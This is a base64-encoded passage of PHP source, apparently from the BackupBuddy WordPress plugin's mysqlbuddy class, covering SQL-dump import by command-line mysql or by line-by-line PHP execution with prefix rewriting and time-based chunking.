peDogYCcgLiAkb2xkX3ByZWZpeCAuICdgOyBOZXcgcHJlZml4OiBgJyAuICR0aGlzLT5fZGF0YWJhc2VfcHJlZml4IC4gJ2AuJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgIm15c3FsYnVkZHk6IEltcG9ydGluZyBTUUwgZmlsZTogYHskc3FsX2ZpbGV9YC4gT2xkIHByZWZpeDogYHskb2xkX3ByZWZpeH1gLiBRdWVyeSBzdGFydDogYHskcXVlcnlfc3RhcnR9YC4iICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQWJvdXQgdG8gZmx1c2guLi4nICk7CgkJcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgoJCS8vIEF0dGVtcHQgZWFjaCBtZXRob2QgaW4gb3JkZXIuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUHJlcGFyaW5nIHRvIGltcG9ydCB1c2luZyBhdmFpbGFibGUgbWV0aG9kKHMpIGJ5IHByaW9yaXR5LiBCYXNpbmcgaW1wb3J0IG1ldGhvZHMgb2ZmIGR1bXAgbWV0aG9kczogYCcgLiBpbXBsb2RlKCAnLCcsICR0aGlzLT5fbWV0aG9kcyApIC4gJ2AnICk7CgkJZm9yZWFjaCAoICR0aGlzLT5fbWV0aG9kcyBhcyAkbWV0aG9kICkgewoJCQlpZiAoIG1ldGhvZF9leGlzdHMoICR0aGlzLCAiX2ltcG9ydF97JG1ldGhvZH0iICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBBdHRlbXB0aW5nIGltcG9ydCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AuJyApOwoJCQkJJHJlc3VsdCA9IGNhbGxfdXNlcl9mdW5jKCBhcnJheSggJHRoaXMsICJfaW1wb3J0X3skbWV0aG9kfSIgKSwgJHNxbF9maWxlLCAkb2xkX3ByZWZpeCwgJHF1ZXJ5X3N0YXJ0LCAkaWdub3JlX2V4aXN0aW5nICk7CgoJCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgeyAvLyBEdW1wIGNvbXBsZXRlZCBzdWNjZXNmdWxseSB3aXRoIHRoaXMgbWV0aG9kLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IEltcG9ydCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AgY29tcGxldGVkIHN1Y2Nlc3NmdWxseS4nICk7CgkJCQkJJHJldHVybiA9IHRydWU7CgkJCQkJYnJlYWs7CgkJCQl9IGVsc2VpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgeyAvLyBEdW1wIGZhaWxlZCB0aGlzIG1ldGhvZC4gV2lsbCB0cnkgY29tcGF0aWJpbGl0eSBmYWxsYmFjayB0byBuZXh0IG1vZGUgaWYgYWJsZS4KCQkJCQkvLyBEbyBub3RoaW5nLiBXaWxsIHRyeSBuZXh0IG1vZGUgbmV4dCBsb29wLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IEltcG9ydCBtZXRob2QgYCcgLiAkbWV0aG9kIC4gJ2AgZmFpbGVkLiBUcnlpbmcgYW5vdGhlciBjb21wYXRpYmlsaXR5IG1vZGUgbmV4dCBpZiBhYmxlLicgKTsKCQkJCX0gZWxzZSB7IC8vIFNvbWV0aGluZyBlbHNlIHJldHVybmVkOyB1c2VkIGZvciByZXN1bWluZyAoaW50ZWdlcikgb3IgYSBtZXNzYWdlIChzdHJpbmcpLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IE5vbi1ib29sZWFuIHJlc3BvbnNlICh1c3VhbGx5IG1lYW5zIHJlc3VtZSBpcyBuZWVkZWQpOiBgJyAuIGltcGxvZGUoICcsJywgJHJlc3VsdCApIC4gJ2AnICk7CgkJCQkJcmV0dXJuICRyZXN1bHQ7IC8vIERvbnQgZmFsbGJhY2sgaWYgdGhpcyBoYXBwZW5zLiBVc3VhbGx5IG1lYW5zIHJlc3VtZSBpcyBuZWVkZWQgdG8gZmluaXNoLgoJCQkJfQoJCQl9CgkJfQoKCQlpZiAoIHRydWUgPT09ICRyZXR1cm4gKSB7IC8vIFN1Y2Nlc3MuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0RhdGFiYXNlIGltcG9ydCBvZiBgJyAuIGJhc2VuYW1lKCAkc3FsX2ZpbGUgKSAuICdgIHN1Y2NlZWRlZC4nICk7CgkJCXJldHVybiB0cnVlOwoJCX0gZWxzZSB7IC8vIE92ZXJhbGwgZmFpbHVyZS4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0RhdGFiYXNlIGltcG9ydCBwcm9jZWR1cmUgZGlkIG5vdCBjb21wbGV0ZSBvciBmYWlsZWQuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCX0gLy8gRW5kIGltcG9ydCgpLgoKCgkvKioKCSAqIEltcG9ydCB2aWEgY29tbWFuZGxpbmUKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzcWxfZmlsZSAgICAgICAgIEZ1bGwgYWJzb2x1dGUgcGF0aCB0byAuc3FsIGZpbGUgdG8gaW1wb3J0IGZyb20uCgkgKiBAcGFyYW0gc3RyaW5nICRvbGRfcHJlZml4ICAgICAgIE9sZCBkYXRhYmFzZSBwcmVmaXguIE5ldyBwcmVmaXggcHJvdmlkZWQgaW4gY29uc3RydWN0b3IuCgkgKiBAcGFyYW0gaW50ICAgICRxdWVyeV9zdGFydCAgICAgIFF1ZXJ5IG51bWJlciAoYWthIGxpbmUgbnVtYmVyKSB0byByZXN1bWUgaW1wb3J0IGF0LgoJICogQHBhcmFtIGJvb2wgICAkaWdub3JlX2V4aXN0aW5nICBOT1RFOiBCYXNpY2FsbHkgaWdub3JlcyBteXNxbCBlcnJvcnMgdGhlc2UgZGF5cy4gUGFzdCBwdXJwb3NlOiBXaGV0aGVyIG9yIG5vdCB0byBhbGxvdyBpbXBvcnQgaWYgdGFibGVzIGV4aXN0IGFscmVhZHkuIERlZmF1bHQ6IGZhbHNlLgoJICoKCSAqIEByZXR1cm4gYm9vbCAgSWYgc3VjY2Vzc2Z1bCBvciBub3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfaW1wb3J0X2NvbW1hbmRsaW5lKCAkc3FsX2ZpbGUsICRvbGRfcHJlZml4LCAkcXVlcnlfc3RhcnQgPSAwLCAkaWdub3JlX2V4aXN0aW5nID0gZmFsc2UgKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnbXlzcWxidWRkeTogUHJlcGFyaW5nIHRvIHJ1biBjb21tYW5kIGxpbmUgbXlzcWwgaW1wb3J0IHZpYSBleGVjKCkuJyApOwoKCQkvLyBJZiBwcmVmaXggaGFzIGNoYW5nZWQgdGhlbiBuZWVkIHRvIHVwZGF0ZSB0aGUgZmlsZS4KCQlpZiAoICRvbGRfcHJlZml4ICE9ICR0aGlzLT5fZGF0YWJhc2VfcHJlZml4ICkgewoJCQlpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1sndGV4dHJlcGxhY2VidWRkeSddICkgKSB7CgkJCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi90ZXh0cmVwbGFjZWJ1ZGR5L3RleHRyZXBsYWNlYnVkZHkucGhwJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1sndGV4dHJlcGxhY2VidWRkeSddID0gbmV3IHBiX2JhY2t1cGJ1ZGR5X3RleHRyZXBsYWNlYnVkZHkoKTsKCQkJfTsKCQkJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd0ZXh0cmVwbGFjZWJ1ZGR5J10tPnNldF9tZXRob2RzKCBhcnJheSggJ2NvbW1hbmRsaW5lJyApICk7IC8vIGRvbnQgZmFsbGJhY2sgaW50byB0ZXh0IHZlcnNpb24gaGVyZS4KCgkJCSRyZWdleF9jb25kaXRpb24gPSAiKElOU0VSVCBJTlRPfENSRUFURSBUQUJMRXxSRUZFUkVOQ0VTfENPTlNUUkFJTlR8QUxURVIgVEFCTEUpIChgPyl7JG9sZF9wcmVmaXh9KGA/KSI7CgkJCXBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1sndGV4dHJlcGxhY2VidWRkeSddLT5zdHJpbmdfcmVwbGFjZSggJHNxbF9maWxlLCAkb2xkX3ByZWZpeCwgJHRoaXMtPl9kYXRhYmFzZV9wcmVmaXgsICRyZWdleF9jb25kaXRpb24gKTsKCgkJCSRzcWxfZmlsZSA9ICRzcWxfZmlsZSAuICcudG1wJzsgLy8gTmV3IFNRTCBmaWxlIGNyZWF0ZWQgYnkgdGV4dHJlcGxhY2VidWRkeS4KCQl9CgoJCS8qKiBCZWdpbiBwcmVwYXJpbmcgY29tbWFuZCAqLwoJCS8vIEhhbmRsZSBXaW5kb3dzIHdhbnRpbmcgLmV4ZS4gTm90ZTogZXhlY3V0YWJsZSBkaXJlY3RvcnkgcGF0aCBpcyBwcmVwZW5kZWQgb24gZXhlYygpIGxpbmUgb2YgY29kZS4KCQkkY29tbWFuZCA9ICdteXNxbCc7CgkJaWYgKCBzdHJpc3RyKCBQSFBfT1MsICdXSU4nICkgJiYgISBzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pLgoJCQkkY29tbWFuZCA9ICdtc3FsLmV4ZSc7CgkJfQoKCQkvLyBIYW5kbGUgcG9zc2libGUgc29ja2V0cy4KCQlpZiAoICcnICE9ICR0aGlzLT5fZGF0YWJhc2Vfc29ja2V0ICkgewoJCQkkY29tbWFuZCAuPSAiIC0tc29ja2V0PXskdGhpcy0+X2RhdGFiYXNlX3NvY2tldH0iOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBVc2luZyBzb2NrZXRzIGluIGNvbW1hbmQuJyApOwoJCX0KCgkJLy8gU2V0IGRlZmF1bHQgY2hhcnNldCBpZiBhdmFpbGFibGUuCgkJZ2xvYmFsICR3cGRiOwoJCWlmICggaXNzZXQoICR3cGRiICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3dwZGIgY2hhcnNldCBvdmVycmlkZSBmb3IgY29tbWFuZGxpbmU6ICcgLiAkd3BkYi0+Y2hhcnNldCApOwoJCQkkY29tbWFuZCAuPSAnIC0tZGVmYXVsdC1jaGFyYWN0ZXItc2V0PScgLiAkd3BkYi0+Y2hhcnNldDsKCQl9CgoJCSRjb21tYW5kIC49ICcgLS1ob3N0PScgLiBlc2NhcGVzaGVsbGFyZyggJHRoaXMtPl9kYXRhYmFzZV9ob3N0ICkgLiAnIC0tdXNlcj0nIC4gZXNjYXBlc2hlbGxhcmcoICR0aGlzLT5fZGF0YWJhc2VfdXNlciApIC4gJyAtLXBhc3N3b3JkPScgLiBlc2NhcGVzaGVsbGFyZyggJHRoaXMtPl9kYXRhYmFzZV9wYXNzICkgLiAnICcgLiBlc2NhcGVzaGVsbGFyZyggJHRoaXMtPl9kYXRhYmFzZV9uYW1lICkgLiAiIDI+JjEgPCB7JHNxbF9maWxlfSI7IC8vIDI+JjEgcmVkaXJlY3QgU1RERVJSIHRvIFNURE9VVC4KCQkvKiogRW5kIHByZXBhcmluZyBjb21tYW5kICovCgoJCS8vIFJ1biBjb21tYW5kLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ215c3FsYnVkZHk6IFJ1bm5pbmcgaW1wb3J0IHZpYSBjb21tYW5kIGxpbmUgbmV4dC4nICk7CgkJbGlzdCggJGV4ZWNfb3V0cHV0LCAkZXhlY19leGl0X2NvZGUgKSA9ICR0aGlzLT5fY29tbWFuZGJ1ZGR5LT5leGVjdXRlKCAkdGhpcy0+X215c3FsX2RpcmVjdG9yeSAuICRjb21tYW5kICk7CgoJCS8vIFRPRE86IFJlbW92ZWQgbXlzcWwgcGluZ2luZyBoZXJlLiBEbyB3ZSBuZWVkIChvciBldmVuIHdhbnQpIHRoYXQgaGVyZT8KCQkvLyBDaGVjayB0aGUgcmVzdWx0IG9mIHRoZSBleGVjdXRpb24uCgkJaWYgKCAnMCcgPT0gJGV4ZWNfZXhpdF9jb2RlICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdteXNxbGJ1ZGR5OiBDb21tYW5kIGFwcGVhcnMgdG8gc3VjY2VlZGVkIGFuZCByZXR1cm5lZCBwcm9wZXIgcmVzcG9uc2UuJyApOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWxidWRkeTogQ29tbWFuZCBkaWQgbm90IGV4aXQgbm9ybWFsbHkuIEZhbGxpbmcgYmFjayB0byBkYXRhYmFzZSBkdW1wIGNvbXBhdGliaWxpdHkgbW9kZXMuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBTaG91bGQgbmV2ZXIgZ2V0IHRvIGhlcmUuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsYnVkZHk6IFVuY2F1Z2h0IGV4Y2VwdGlvbiAjNDMzMDUzODkwLicgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9IC8vIEVuZCBfaW1wb3J0X2NvbW1hbmRsaW5lKCkuCgoKCgkvKioKCSAqIENoZWNrIGlmIHN0cmluZyBiZWdpbnMgd2l0aCBzcGVjaWZpYyBjaGFyYWN0ZXJzCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc3RyaW5nICBTdHJpbmcgdG8gc2VhcmNoLgoJICogQHBhcmFtIHN0cmluZyAkc2VhcmNoICBDaGFyYWN0ZXJzIHRvIGNoZWNrIGlmIHNlYXJjaCBzdHJpbmcgYmVnaW5zIHdpdGguCgkgKgoJICogQHJldHVybiBib29sICBXaGV0aGVyIG9yIG5vdCBpdCBiZWdpbnMgd2l0aCB0aGUgc2VhcmNoIHN0cmluZy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN0cmluZ19iZWdpbnNfd2l0aCggJHN0cmluZywgJHNlYXJjaCApIHsKCQlyZXR1cm4gMCA9PSBzdHJuY21wKCAkc3RyaW5nLCAkc2VhcmNoLCBzdHJsZW4oICRzZWFyY2ggKSApOwoJfQoKCS8qKgoJICogSW1wb3J0IGZyb20gLlNRTCBmaWxlIGludG8gZGF0YWJhc2UgdmlhIFBIUCBieSByZWFkaW5nIGluIGZpbGUgbGluZSBieSBsaW5lLgoJICogVXNpbmcgY29kZWJhc2UgZnJvbSBCYWNrdXBCdWRkeSAvIGltcG9ydGJ1ZGR5IDIueC4KCSAqCgkgKiBAc2VlIGltcG9ydCgpCgkgKiBAc2luY2UgMi4wLjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzcWxfZmlsZSAgICAgICAgIEZ1bGwgYWJzb2x1dGUgcGF0aCB0byAuc3FsIGZpbGUgdG8gaW1wb3J0IGZyb20uCgkgKiBAcGFyYW0gc3RyaW5nICRvbGRfcHJlZml4ICAgICAgIE9sZCBkYXRhYmFzZSBwcmVmaXguIE5ldyBwcmVmaXggcHJvdmlkZWQgaW4gY29uc3RydWN0b3IuCgkgKiBAcGFyYW0gc3RyaW5nICRyZXN1bWVfcG9pbnQgICAgIFBvaW50IGF0IHdoaWNoIHRvIHJlc3VtZS4KCSAqIEBwYXJhbSBib29sICAgJGlnbm9yZV9leGlzdGluZyAgTk9URTogQmFzaWNhbGx5IGlnbm9yZXMgbXlzcWwgZXJyb3JzIHRoZXNlIGRheXMuIFBhc3QgcHVycG9zZTogV2hldGhlciBvciBub3QgdG8gYWxsb3cgaW1wb3J0IGlmIHRhYmxlcyBleGlzdCBhbHJlYWR5LiBEZWZhdWx0OiBmYWxzZS4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2VzcyAoYW5kIGNvbXBsZXRpb24pLCBpbmNvbXBsZXRlL2NodW5raW5nIHJlcXVpcmVkPSBhcnJheSggZmlsZSBwb2ludGVyW2ZvciByZXN1bWluZ10sIHF1ZXJpZXMgc28gZmFyW2luZm9ybWF0aXZlIG9ubHldICksIGZhbHNlIG9uIGZhaWx1cmUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfaW1wb3J0X3BocCggJHNxbF9maWxlLCAkb2xkX3ByZWZpeCwgJHJlc3VtZV9wb2ludCA9ICcnLCAkaWdub3JlX2V4aXN0aW5nID0gZmFsc2UgKSB7CgkJJHRoaXMtPnRpbWVfc3RhcnQgPSBtaWNyb3RpbWUoIHRydWUgKTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnU3RhcnRpbmcgaW1wb3J0IG9mIFNRTCBkYXRhLi4uIFRoaXMgbWF5IHRha2UgYSBtb21lbnQuLi4nICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBTUUwgZnJvbSBmaWxlIGAnIC4gJHNxbF9maWxlIC4gJ2AuJyApOwoKCQkvLyBPcGVuIFNRTCBmaWxlIGZvciByZWFkaW5nLgoJCSRmcyA9IEBmb3BlbiggJHNxbF9maWxlLCAncicgKTsKCQlpZiAoIGZhbHNlID09PSAkZnMgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjOTAwOTogVW5hYmxlIHRvIGZpbmQgYW55IGRhdGFiYXNlIGJhY2t1cCBkYXRhIGluIHRoZSBzZWxlY3RlZCBiYWNrdXAgb3IgY291bGQgbm90IG9wZW4gZmlsZSAocG9zc2libHkgZHVlIHRvIHBlcm1pc3Npb25zKS4gVHJpZWQgb3BlbmluZyBmaWxlIGAnIC4gJHNxbF9maWxlIC4gJ2AuIEVycm9yICM5MDA5LicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gSWYgY2h1bmtlZCByZXN1bWluZyB0aGVuIHNlZWsgdG8gdGhlIGNvcnJlY3QgcGxhY2UgaW4gdGhlIGZpbGUuCgkJaWYgKCAnJyAhPSAkcmVzdW1lX3BvaW50ICYmICRyZXN1bWVfcG9pbnQgPiAwICkgewoJCQlpZiAoIDAgIT09IGZzZWVrKCAkZnMsICRyZXN1bWVfcG9pbnQgKSApIHsgLy8gUmV0dXJucyAwIG9uIHN1Y2Nlc3MuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzk0ODM0NTM6IEZhaWxlZCB0byBzZWVrIFNRTCBmaWxlIHRvIHJlc3VtZSBwb2ludCBgJyAuICRyZXN1bWVfcG9pbnQgLiAnYCB2aWEgZnNlZWsoKS4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgoJCWdsb2JhbCAkd3BkYjsKCgkJLy8gVHVybiBvZmYgZm9yZWlnbiBrZXkgY2hlY2tzLgoJCSRyZXN1bHRzID0gJHdwZGItPnF1ZXJ5KCAnU0VUIEZPUkVJR05fS0VZX0NIRUNLUz0wOycgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0cyApIHsKCQkJaWYgKCBlbXB0eSggJHdwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzg0OTM4NDQ6ICcgLiBAbXlzcWxfZXJyb3IoICR3cGRiLT5kYmggKSApOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnV2FybmluZyAjODQ5Mzg0NDogJyAuIEBteXNxbGlfZXJyb3IoKSApOwoJCQl9CgkJfQoKCQkvLyBMb29wIHRocm91Z2ggZmlsZSBsaW5lLWJ5LWxpbmUsIGV4ZWN1dGluZyB0aGUgU1FMIGFzIHdlIGdvLiBQcmVmaXggd2lsbCBiZSBjaGFuZ2VkIGxpbmUgYnkgbGluZSBhcyBuZWVkZWQuCgkJJHF1ZXJ5X2NvdW50ICAgICA9IDA7CgkJJGZhaWxlZF9xdWVyaWVzICA9IDA7CgkJJHByZXZfcXVlcnlfZGF0YSA9ICcnOwoKCQl3aGlsZSAoIGZhbHNlICE9PSAoICRxdWVyeSA9IGZnZXRzKCAkZnMgKSApICkgeyAvLyBHcmFiIGxpbmUgYnkgbGluZSBhcyBsb25nIGFzIGZnZXRzIGRvZXNuJ3QgcmV0dXJuIEZBTFNFLgoKCQkJLy8gQ2xlYW4gdXAgU1FMIGFuZCBpZ25vcmUgYW55IGNvbW1lbnQgbGluZXMuCgkJCWlmICggZW1wdHkoICRxdWVyeSApIHx8ICggJHRoaXMtPnN0cmluZ19iZWdpbnNfd2l0aCggJHF1ZXJ5LCAnLyohNDAxMDMnICkgKSApIHsgLy8gSWYgYmxhbmsgbGluZSBvciBzdGFydHMgd2l0aCAvKiE0MDEwMyAobXlzcWxkdW1wIGZpbGUgaGFzIHRoaXMganVuayBpbiBpdCkuCgkJCQljb250aW51ZTsKCQkJfQoKCQkJaWYgKCBmYWxzZSA9PT0gc3RycG9zKCAkcXVlcnksICc7JyApICkgeyAvLyBEb24ndCBoYXZlIHRoZSBmdWxsIHF1ZXJ5IHlldC4gTmVlZCB0byBncmFiIG1vcmUgbGluZXMuCgkJCQkkcHJldl9xdWVyeV9kYXRhIC49ICRxdWVyeTsKCQkJCWNvbnRpbnVlOyAvLyBHbyBncmFiIG1vcmUuCgkJCX0KCgkJCS8vIEV4ZWN1dGUgdGhlIFNRTCBsaW5lLgoJCQkkcmVzdWx0ID0gJHRoaXMtPl9pbXBvcnRfc3FsX2R1bXBfbGluZSggdHJpbSggJHByZXZfcXVlcnlfZGF0YSAuICRxdWVyeSApLCAkb2xkX3ByZWZpeCwgJGlnbm9yZV9leGlzdGluZyApOyAvLyBBZGRlZCB0cmltKCkgYXMgb2YgQkIgdjUgdG8gcmlwIG9mZiBzb21ldGltZXMtbGVhZGluZyBuZXdsaW5lIGNoYXIuCgkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkvLyBHb3QgRkFMU0UgYXMgcmVzcG9uc2UuLi4gU2tpcHBlZCBxdWVyeSBzbyBjb250aW51ZSB0byB0aGUgbmV4dC4KCQkJCSRmYWlsZWRfcXVlcmllcysrOwoJCQkJY29udGludWU7CgkJCX0KCQkJJHByZXZfcXVlcnlfZGF0YSA9ICcnOyAvLyBDbGVhciBvdXQgYW55IHByZXZpb3VzIHF1ZXJ5IGRhdGEgdGhhdCB3YXMgbm90IHVzZWQgZHVlIHRvIG5vdCBoYXZpbmcgdGhlIGZ1bGwgc3RhdGVtZW50LgoJCQkkcXVlcnlfY291bnQrKzsKCgkJCS8vIFNob3cgYSBoZWFydGJlYXQgdG8ga2VlcCB1c2VyIHVwIHRvIGRhdGUgW2FuZCBlbnRlcnRhaW5lZCA7KV0uCgkJCWlmICggMCA9PT0gKCAkcXVlcnlfY291bnQgJSBzZWxmOjpIRUFSVEJFQVRfQ09VTlRfTElNSVQgKSApIHsgLy8gRGlzcGxheSBldmVyeSBYIHF1ZXJpZXMuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdXb3JraW5nLi4uIEltcG9ydGVkICcgLiAkcXVlcnlfY291bnQgLiAnIHF1ZXJpZXMgc28gZmFyLicgKTsKCQkJfQoKCQkJLy8gSWYgd2UgYXJlIHdpdGhpbiAxIHNlY29uZCBvZiByZWFjaGluZyBtYXhpbXVtIFBIUCBydW50aW1lIHRoZW4gc3RvcCBoZXJlIHNvIHRoYXQgaXQgY2FuIGJlIHBpY2tlZCB1cCBpbiBhbm90aGVyIFBIUCBwcm9jZXNzLi4uCgkJCWlmICggJy0xJyAhPSAkdGhpcy0+X21heEV4ZWN1dGlvblRpbWUgKSB7IC8vIC0xIGRpc2FibGVkIGNodW5raW5nLgoJCQkJaWYgKCAoICggbWljcm90aW1lKCB0cnVlICkgLSBwYl9iYWNrdXBidWRkeTo6JHN0YXJ0X3RpbWUgKSArIHNlbGY6OlRJTUVfV0lHR0xFX1JPT00gKSA+PSAkdGhpcy0+X21heEV4ZWN1dGlvblRpbWUgKSB7IC8vIHdhcyAkdGhpcy0+dGltZV9zdGFydCBidXQgZGlkIG5vdCB0YWtlIGludG8gYWNjb3VudCB0aW1lIHVzZWQgdXAgYmVmb3JlIGRiIHN0dWZmLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0FwcHJvYWNoaW5nIGxpbWl0IG9mIGF2YWlsYWJsZSBQSFAgY2h1bmtpbmcgdGltZSBvZiBgJyAuICR0aGlzLT5fbWF4RXhlY3V0aW9uVGltZSAuICdgIHNlYy4gUEhQIHJhbiBmb3IgJyAuIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokc3RhcnRfdGltZSwgMyApIC4gJywgZGF0YWJhc2UgaW1wb3J0IHJhbiBmb3IgJyAuIHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT50aW1lX3N0YXJ0LCAzICkgLiAnIHNlYy4gUHJvY2VlZGluZyB0byB1c2UgY2h1bmtpbmcuJyApOwoJCQkJCSRmc19wb2ludGVyID0gZnRlbGwoICRmcyApOwoJCQkJCWlmICggZmFsc2UgPT09ICRmc19wb2ludGVyICkgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzMyODkyMzg6IFVuYWJsZSB0byBnZXQgZnRlbGwgcG9pbnRlciBvZiBTUUwgZmlsZSBoYW5kbGUuJyApOwoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJfQoJCQkJCUBmY2xvc2UoICRmcyApOwoKCQkJCQkvLyBUdXJuIGJhY2sgb24gZm9yZWlnbiBrZXkgY2hlY2tzLgoJCQkJCSRyZXN1bHRzID0gJHdwZGItPnF1ZXJ5KCAnU0VUIEZPUkVJR05fS0VZX0NIRUNLUz0xOycgKTsKCQkJCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0cyApIHsKCQkJCQkJaWYgKCBlbXB0eSggJHdwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzM5Mzc5NzkyNDM0OiAnIC4gQG15c3FsX2Vycm9yKCAkd3BkYi0+ZGJoICkgKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzg5NDc3NDQ3ODU0OTogJyAuIEBteXNxbGlfZXJyb3IoKSApOwoJCQkJCQl9CgkJCQkJfQoKCQkJCQlyZXR1cm4gYXJyYXkoICRmc19wb2ludGVyLCAkcXVlcnlfY291bnQsICRmYWlsZWRfcXVlcmllcywgKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT50aW1lX3N0YXJ0ICkgKTsgLy8gZmlsZXBvaW50ZXIgbG9jYXRpb24sIG51bWJlciBvZiBxdWVyaWVzIGRvbmUgdGhpcyBwYXNzLCBudW1iZXIgb2Ygc3FsIHFldXJpZXMgdGhhdCBmYWlsZWQsIGVsYXBzZWQgdGltZSBkdXJpbmcgdGhlIGltcG9ydC4KCQkJCX0gLy8gRW5kIGlmLgoJCQl9CgkJfSAvLyBlbmQgd2hpbGUuCgoJCWlmICggISBmZW9mKCAkZnMgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4OTQ0MzogZmdldHMgZmFpbGVkIHByZW1hdHVyZWx5LiBOb3QgYXQgRU9GLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmY2xvc2UoICRmcyApOwoKCQkvLyBUdXJuIGJhY2sgb24gZm9yZWlnbiBrZXkgY2hlY2tzLgoJCSRyZXN1bHRzID0gJHdwZGItPnF1ZXJ5KCAnU0VUIEZPUkVJR05fS0VZX0NIRUNLUz0xOycgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0cyApIHsKCQkJaWYgKCBlbXB0eSggJHdwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzM0MzQzMzQ6ICcgLiBAbXlzcWxfZXJyb3IoICR3cGRiLT5kYmggKSApOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnV2FybmluZyAjODU4NTU4NTQ5OiAnIC4gQG15c3FsaV9lcnJvcigpICk7Cgk